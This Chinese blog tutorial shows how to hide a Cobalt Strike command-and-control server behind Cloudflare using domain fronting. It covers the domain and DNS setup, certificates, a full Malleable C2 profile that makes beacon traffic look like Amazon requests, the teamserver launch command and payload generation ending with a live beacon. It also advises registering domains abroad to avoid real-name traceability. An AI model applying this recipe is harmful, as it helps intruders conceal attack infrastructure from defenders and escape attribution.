当前位置: 首页 > 技术干货 > 域前置技术和C2隐藏

域前置技术和C2隐藏

发表于:2022-11-09 14:22 作者: Ggoodstudy 阅读数(1757人)

域前置介绍

域前置又译为域名幌子,是一种隐藏连接真实端点来规避审查的技术。在应用层上运作时,域前置使用户能通过HTTPS连接到被屏蔽的服务,而表面上像在与另一个完全不同的站点通信。

域前置工作原理

域前置核心就是CDN,可以通过添加 A 记录或 AAAA 记录解析的方式将网站域名指向网站服务器公网 IP 地址,来实现用户可以通过域名直接访问已部署在服务器上的网站,而无需使用难记且无明显标识的 IP 地址访问。CDN能够对域名进行加速,当对某个域名进行访问时,并不会直接解析到IP,因此可以给攻击VPS申请一个CDN加速服务,从而达到隐藏IP的效果

CDN工作原理

CDN又叫内容分发网络(Content Delivery Network)

当用户访问域名时,先请求LDNS(即本地dns),如果有缓存会返回给用户ip地址,如果LNDS无缓存即向授权DNS请求,授权DNS解析域名返回别名域名,域名解析请求发送至公有云DNS调度系统,则会分配最佳节点ip地址,LDNS会缓存该IP地址,用户根据该ip地址请求资源,节点ip隐藏了真实ip的地址。

搭建过程

这里选择腾讯云的域名

image-20220913105312471

先实名后注册,注册时间可能比较久,在腾讯云服务器上,根据申请的域名添加解析记录。

image-20220913162859561

域名备案,实际上国内的备案了之后Redteam已无法使用了。

注册 cloudflare

https://www.cloudflare.com/zh-cn/

进入后添加站点

image-20220913161642500

输入申请的域名别名,选择免费即可

image-20221108131822302

继续

image-20221108180955483

这里会对域名的A记录和CNAME自动进行检测

image-20221108135323024

这个时候邮箱会收到cloudflare的邮件。

修改dns记录,域名注册->我的域名->概览位置修改dns

image-20220913162618436

然后等待dns刷新即可,此时我们ping一下我们的域名发现,解析后的ip地址不是真实的ip地址。

image-20221108141421304

ip地址为cloudflare的ip

image-20221108143012368

image-20221108143436931

nslookup查询

image-20221108144259123

SSL/TLS

如果要实现https加密需要下载配置c2证书

image-20221108184615960

下载证书

image-20221108184740975

在VPS需重新生成cs的配置文件cobalstrike.store

C2配置隐藏

项目地址

https://github.com/rsmudge/Malleable-C2-Profiles

set sleeptime "5000";
set jitter   "0";
set maxdns   "255";
set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";

http-get {

  set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books";
   
  client {
   
      header "Accept" "*/*";
      header "Host" "www.xxx.xxx";   #配置自己的根域名不是别名
   
      metadata {
          base64;
          prepend "session-token=";
          prepend "skin=noskin;";
          append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";
          header "Cookie";
      }
  }
   
  server {
   
      header "Server" "Server";
      header "x-amz-id-1" "THKUYEZKCKPGY5T42PZT";
      header "x-amz-id-2" "a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2tmZGl4aHRvNDVpbgo=";
      header "X-Frame-Options" "SAMEORIGIN";
      header "Content-Encoding" "gzip";
   
      output {
          print;
      }
  }

}

http-post {
   

  set uri "/N4215/adj/amzn.us.sr.aps";
   
  client {
   
      header "Accept" "*/*";
      header "Content-Type" "text/xml";
      header "X-Requested-With" "XMLHttpRequest";
      header "Host" "www.xxx.xxx";   #配置自己的根域名不是别名
   
      parameter "sz" "160x600";
      parameter "oe" "oe=ISO-8859-1;";
   
      id {
          parameter "sn";
      }
   
      parameter "s" "3717";
      parameter "dc_ref" "http%3A%2F%2Fwww.amazon.com";
   
      output {
          base64;
          print;
      }
  }
   
  server {
   
      header "Server" "Server";
      header "x-amz-id-1" "THK9YEZJCKPGY5T42OZT";
      header "x-amz-id-2" "a21JZ1xrNDNtdGRsa219bGV3YW85amZuZW9zdG5rZmRuZ2tmZGl4aHRvNDVpbgo=";
      header "X-Frame-Options" "SAMEORIGIN";
      header "x-ua-compatible" "IE=edge";
   
      output {
          print;
      }
  }

}

启动服务端,调用配置文件

./teamserver cs服务端ip password config.profile

生成监听

image-20221108174102315

保存

image-20221108182937336

生成64位的应用程序

image-20221108173651946

成功上线

TIPS

实名注册的腾讯云域名的话是有备案的,所以这里的话建议选择国外的服务器注册域名。